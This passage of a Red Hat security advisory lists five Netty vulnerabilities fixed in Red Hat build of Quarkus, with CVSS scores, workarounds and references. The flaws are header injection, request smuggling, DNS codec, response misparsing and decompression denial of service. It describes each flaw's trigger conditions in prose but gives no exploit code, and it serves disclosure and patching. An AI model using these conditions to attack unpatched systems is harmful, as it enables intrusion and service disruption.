"text": "Important: This vulnerability in Netty\u0027s HttpProxyHandler allows for HTTP header injection into CONNECT requests when an attacker can influence outbound headers. The handler\u0027s explicit disabling of header validation could enable proxy-related attacks, such as cache poisoning or bypassing security controls, impacting applications utilizing this component.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42578"
},
{
"category": "external",
"summary": "RHBZ#2477226",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477226"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr",
"url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
}
],
"release_date": "2026-05-13T17:57:43.538000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Applications utilizing Netty\u0027s HttpProxyHandler must ensure that any user-controlled input used to populate outbound headers is rigorously sanitized to prevent CRLF injection. If comprehensive input sanitization cannot be implemented, restricting network access to the application that uses the HttpProxyHandler can reduce the attack surface.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation"
},
{
"cve": "CVE-2026-42579",
"cwe": {
"id": "CWE-1286",
"name": "Improper Validation of Syntactic Correctness of Input"
},
"discovery_date": "2026-05-13T19:01:25.062732+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477217"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. Netty\u0027s DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important integrity flaw in Netty\u0027s DNS codec. The vulnerability arises from insufficient enforcement of RFC 1035 domain name constraints during both encoding and decoding, allowing remote attackers to manipulate DNS responses or user-controlled hostnames. This could lead to a high integrity impact on affected Red Hat products that utilize the vulnerable Netty DNS codec.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42579"
},
{
"category": "external",
"summary": "RHBZ#2477217",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477217"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42579",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42579"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42579"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cm33-6792-r9fm"
}
],
"release_date": "2026-05-13T18:01:52.500000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: Netty: High integrity impact due to improper DNS domain name constraint enforcement"
},
{
"cve": "CVE-2026-42581",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:02:26.404511+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477232"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty\u0027s HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important flaw. Netty\u0027s HttpObjectDecoder, used across various Red Hat products, improperly handles conflicting `Transfer-Encoding: chunked` and `Content-Length` headers in HTTP/1.0 requests. This allows a remote attacker to perform HTTP request smuggling, potentially bypassing security controls or gaining unauthorized access to information due to misinterpretation of message boundaries by downstream proxies or handlers.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42581"
},
{
"category": "external",
"summary": "RHBZ#2477232",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477232"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42581",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42581"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9",
"url": "https://github.com/netty/netty/security/advisories/GHSA-xxqh-mfjm-7mv9"
}
],
"release_date": "2026-05-13T17:54:44.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "To mitigate this issue, configure any reverse proxies or load balancers in front of Netty to either reject HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers, or to explicitly prioritize the Transfer-Encoding header over Content-Length for HTTP/1.0 traffic. This ensures consistent interpretation of message boundaries and prevents request smuggling attacks.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers"
},
{
"cve": "CVE-2026-42584",
"cwe": {
"id": "CWE-444",
"name": "Inconsistent Interpretation of HTTP Requests (\u0027HTTP Request/Response Smuggling\u0027)"
},
"discovery_date": "2026-05-13T19:01:51.846351+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477224"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "Important: A flaw in Netty\u0027s HttpClientCodec allows a remote attacker to cause data confusion. By sending a specially crafted sequence of HTTP responses, an attacker can cause subsequent HTTP responses to be parsed incorrectly, potentially leading to information disclosure or data integrity issues in applications utilizing Netty for HTTP client operations. This vulnerability affects various Red Hat products that bundle Netty, including Red Hat AMQ, Enterprise Application Platform, Red Hat Build of Quarkus, and Red Hat Build of Keycloak.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42584"
},
{
"category": "external",
"summary": "RHBZ#2477224",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477224"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42584",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42584"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42584"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3",
"url": "https://github.com/netty/netty/security/advisories/GHSA-57rv-r2g8-2cj3"
}
],
"release_date": "2026-05-13T18:10:48.437000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion"
},
{
"cve": "CVE-2026-42587",
"cwe": {
"id": "CWE-770",
"name": "Allocation of Resources Without Limits or Throttling"
},
"discovery_date": "2026-05-13T19:01:35.415881+00:00",
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2477220"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression",
"title": "Vulnerability summary"
},
{
"category": "other",
"text": "This is an Important denial of service vulnerability in Netty\u0027s HTTP content decompression. A remote attacker can exploit this flaw by sending specially crafted compressed payloads using Brotli, Zstandard, or Snappy encodings, bypassing configured decompression limits. This leads to unbounded memory allocation, potentially causing an out-of-memory condition and rendering affected Red Hat systems unavailable.",
"title": "Statement"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat build of Quarkus 3.27.4"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-42587"
},
{
"category": "external",
"summary": "RHBZ#2477220",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2477220"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-42587",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42587"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42587"
},
{
"category": "external",
"summary": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv",
"url": "https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv"
}
],
"release_date": "2026-05-13T18:22:21.699000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-10T12:05:35+00:00",
"details": "Before applying this update, make sure all previously released errata\nrelevant to your system have been applied.\n\nFor details on how to apply this update, refer to:\n\nhttps://access.redhat.com/articles/11258",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:23808"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
"product_ids": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat build of Quarkus 3.27.4"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "netty: io.netty/netty-codec-http: io.netty/netty-codec-http2: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression"
}
]
}
RHSA-2026:24502
Vulnerability from csaf_redhat - Published: 2026-06-10 12:09 - Updated: 2026-08-12 19:42Summary
Red Hat Security Advisory: Red Hat build of Quarkus 3.33.2 release and security update
Severity
Important
Notes
Topic: An update is now available for Red Hat build of Quarkus.
Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.
Details: This release of Red Hat build of Quarkus 3.33.2 includes the following CVE fixes:
* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.33] (CVE-2026-42578)
* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.33] (CVE-2026-42581)
* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.33] (CVE-2026-42584)
* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.33] (CVE-2026-42587)
* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.33] (CVE-2026-42579)
For more information, see the release notes page listed in the References section.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Netty. The HttpProxyHandler component, which handles HTTP CONNECT requests, does not properly validate user-provided outbound headers. This allows an attacker to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server. This could lead to unexpected behavior or potential bypass of security controls on the proxy server.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty. Netty's DNS (Domain Name System) codec does not properly enforce domain name constraints as defined in RFC 1035 during both encoding and decoding processes. This vulnerability allows a remote attacker to exploit the decoder using malicious DNS responses or exploit the encoder through user-influenced hostnames, leading to a high integrity impact on the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty's HttpObjectDecoder. A remote attacker can exploit this by sending a specially crafted HTTP/1.0 request that includes both `Transfer-Encoding: chunked` and `Content-Length` headers. While Netty correctly strips the conflicting `Content-Length` header for HTTP/1.1 messages, this guard is absent for HTTP/1.0. This can lead to HTTP request smuggling, where downstream proxies or handlers may misinterpret message boundaries, potentially allowing an attacker to bypass security controls or access unauthorized information.
7.2 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
A flaw was found in Netty, an asynchronous, event-driven network application framework. A remote attacker could exploit this vulnerability by sending a specific sequence of HTTP responses (103, followed by a 200 with a GET body, then another 200 for a HEAD request) when the client pipelines GET then HEAD requests. This can cause the HttpClientCodec to incorrectly pair responses, leading to subsequent HTTP responses being parsed from the wrong offset. This issue may result in information disclosure or other data integrity problems due to misinterpretation of network traffic.
7.3 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
|
Threats
Impact
Important
A flaw was found in Netty. A remote attacker can bypass the configured decompression limit in the HttpContentDecompressor by sending a specially crafted compressed payload using Brotli (br), Zstandard (zstd), or Snappy content encodings. This can lead to unbounded memory allocation, resulting in an out-of-memory Denial of Service (DoS) for the affected system.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
Red Hat build of Quarkus 3.33.2
Red Hat / Red Hat build of Quarkus
|
cpe:/a:redhat:quarkus:3.33::el8
|
— |
Vendor Fix
fix
Workaround
|
Threats
Impact
Important
References
107 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:24502 | self |
| https://access.redhat.com/security/updates/classi… | external |
| https://access.redhat.com/products/quarkus/ | external |
| https://access.redhat.com/jbossnetwork/restricted… | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://issues.redhat.com/browse/QUARKUS-7634 | external |
| https://issues.redhat.com/browse/QUARKUS-7635 | external |
| https://issues.redhat.com/browse/QUARKUS-7636 | external |
| https://issues.redhat.com/browse/QUARKUS-7637 | external |
| https://issues.redhat.com/browse/QUARKUS-7638 | external |
| https://issues.redhat.com/browse/QUARKUS-7639 | external |
| https://issues.redhat.com/browse/QUARKUS-7640 | external |
| https://issues.redhat.com/browse/QUARKUS-7641 | external |
| https://issues.redhat.com/browse/QUARKUS-7642 | external |
| https://issues.redhat.com/browse/QUARKUS-7643 | external |
| https://issues.redhat.com/browse/QUARKUS-7644 | external |
| https://issues.redhat.com/browse/QUARKUS-7645 | external |
| https://issues.redhat.com/browse/QUARKUS-7646 | external |
| https://issues.redhat.com/browse/QUARKUS-7647 | external |
| https://issues.redhat.com/browse/QUARKUS-7648 | external |
| https://issues.redhat.com/browse/QUARKUS-7649 | external |
| https://issues.redhat.com/browse/QUARKUS-7650 | external |
| https://issues.redhat.com/browse/QUARKUS-7651 | external |
| https://issues.redhat.com/browse/QUARKUS-7652 | external |
| https://issues.redhat.com/browse/QUARKUS-7653 | external |
| https://issues.redhat.com/browse/QUARKUS-7654 | external |
| https://issues.redhat.com/browse/QUARKUS-7655 | external |
| https://issues.redhat.com/browse/QUARKUS-7656 | external |
| https://issues.redhat.com/browse/QUARKUS-7657 | external |
| https://issues.redhat.com/browse/QUARKUS-7658 | external |
| https://issues.redhat.com/browse/QUARKUS-7659 | external |
| https://issues.redhat.com/browse/QUARKUS-7660 | external |
| https://issues.redhat.com/browse/QUARKUS-7661 | external |
| https://issues.redhat.com/browse/QUARKUS-7666 | external |
| https://issues.redhat.com/browse/QUARKUS-7686 | external |
| https://issues.redhat.com/browse/QUARKUS-7727 | external |
| https://issues.redhat.com/browse/QUARKUS-7728 | external |
| https://issues.redhat.com/browse/QUARKUS-7729 | external |
| https://issues.redhat.com/browse/QUARKUS-7730 | external |
| https://issues.redhat.com/browse/QUARKUS-7731 | external |
| https://issues.redhat.com/browse/QUARKUS-7732 | external |
| https://issues.redhat.com/browse/QUARKUS-7733 | external |
| https://issues.redhat.com/browse/QUARKUS-7734 | external |
| https://issues.redhat.com/browse/QUARKUS-7735 | external |
| https://issues.redhat.com/browse/QUARKUS-7736 | external |
| https://issues.redhat.com/browse/QUARKUS-7737 | external |
| https://issues.redhat.com/browse/QUARKUS-7738 | external |
| https://issues.redhat.com/browse/QUARKUS-7739 | external |
| https://issues.redhat.com/browse/QUARKUS-7740 | external |
| https://issues.redhat.com/browse/QUARKUS-7741 | external |
| https://issues.redhat.com/browse/QUARKUS-7742 | external |
| https://issues.redhat.com/browse/QUARKUS-7743 | external |
| https://issues.redhat.com/browse/QUARKUS-7744 | external |
| https://issues.redhat.com/browse/QUARKUS-7745 | external |
| https://issues.redhat.com/browse/QUARKUS-7746 | external |
| https://issues.redhat.com/browse/QUARKUS-7747 | external |
| https://issues.redhat.com/browse/QUARKUS-7748 | external |
| https://issues.redhat.com/browse/QUARKUS-7749 | external |
| https://issues.redhat.com/browse/QUARKUS-7750 | external |
| https://issues.redhat.com/browse/QUARKUS-7751 | external |
| https://issues.redhat.com/browse/QUARKUS-7752 | external |
| https://issues.redhat.com/browse/QUARKUS-7753 | external |
| https://issues.redhat.com/browse/QUARKUS-7754 | external |
| https://issues.redhat.com/browse/QUARKUS-7783 | external |
| https://issues.redhat.com/browse/QUARKUS-7784 | external |
| https://issues.redhat.com/browse/QUARKUS-7785 | external |
| https://issues.redhat.com/browse/QUARKUS-7786 | external |
| https://issues.redhat.com/browse/QUARKUS-7787 | external |
| https://issues.redhat.com/browse/QUARKUS-7788 | external |
| https://issues.redhat.com/browse/QUARKUS-7789 | external |
| https://issues.redhat.com/browse/QUARKUS-7790 | external |
| https://issues.redhat.com/browse/QUARKUS-7791 | external |
| https://issues.redhat.com/browse/QUARKUS-7795 | external |
| https://issues.redhat.com/browse/QUARKUS-7796 | external |
| https://issues.redhat.com/browse/QUARKUS-7797 | external |
| https://issues.redhat.com/browse/QUARKUS-7798 | external |
| https://issues.redhat.com/browse/QUARKUS-7799 | external |
| https://issues.redhat.com/browse/QUARKUS-7810 | external |
| https://issues.redhat.com/browse/QUARKUS-7811 | external |
| https://issues.redhat.com/browse/QUARKUS-7843 | external |
| https://issues.redhat.com/browse/QUARKUS-7863 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-42578 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477226 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42578 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42578 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42579 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477217 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42579 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42579 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42581 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477232 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42581 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42581 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42584 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477224 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42584 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42584 | external |
| https://github.com/netty/netty/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42587 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42587 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42587 | external |
| https://github.com/netty/netty/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "An update is now available for Red Hat build of Quarkus.\n\nRed Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.",
"title": "Topic"
},
{
"category": "general",
"text": "This release of Red Hat build of Quarkus 3.33.2 includes the following CVE fixes:\n\n* netty-handler-proxy: Netty: HTTP Header Injection via HttpProxyHandler Disabled Validation [quarkus-3.33] (CVE-2026-42578)\n\n* netty-codec-http: Netty: HTTP Request Smuggling due to improper handling of conflicting HTTP/1.0 headers [quarkus-3.33] (CVE-2026-42581)\n\n* netty-codec-http: Netty: Incorrect HTTP response parsing leads to data confusion [quarkus-3.33] (CVE-2026-42584)\n\n* netty-codec-http: Netty: Denial of Service via unbounded memory allocation in HTTP content decompression [quarkus-3.33] (CVE-2026-42587)\n\n* netty-codec-dns: Netty: High integrity impact due to improper DNS domain name constraint enforcement [quarkus-3.33] (CVE-2026-42579)\n\nFor more information, see the release notes page listed in the References section.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:24502",
"url": "https://access.redhat.com/errata/RHSA-2026:24502"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/#important",
"url": "https://access.redhat.com/security/updates/classification/#important"
},
{
"category": "external",
"summary": "https://access.redhat.com/products/quarkus/",
"url": "https://access.redhat.com/products/quarkus/"
},
{
"category": "external",
